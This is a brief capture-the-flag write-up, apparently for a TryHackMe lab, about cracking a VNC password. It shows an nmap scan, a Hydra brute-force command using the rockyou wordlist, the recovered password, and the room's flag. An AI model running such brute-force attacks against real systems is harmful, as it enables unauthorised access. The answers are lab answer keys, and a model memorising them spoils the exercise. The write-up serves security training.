Question 1

Use Hydra to find the VNC password of the target with IP address $MACHINE_IP. What is the password?

We run nmap in service discovery mode like so: nmap -sS $IP to check that VNC is running on the machine.

Not very many ports on this one.

We then run hydra to find the password for mark: hydra -P /usr/share/wordlists/rockyou.txt $IP vnc

It just works.

Answer: 1q2w3e4r

Question 2

Using a VNC client on the AttackBox, connect to the target of IP address MACHINE_IP. What is the flag written on the target?s screen?

We use Remmina:

Remmina is a... useful tool.

We enter the password that we found before:

We then find the flag:

Oooooh, a flag!

Answer: THM{I_SEE_YOUR_SCREEN}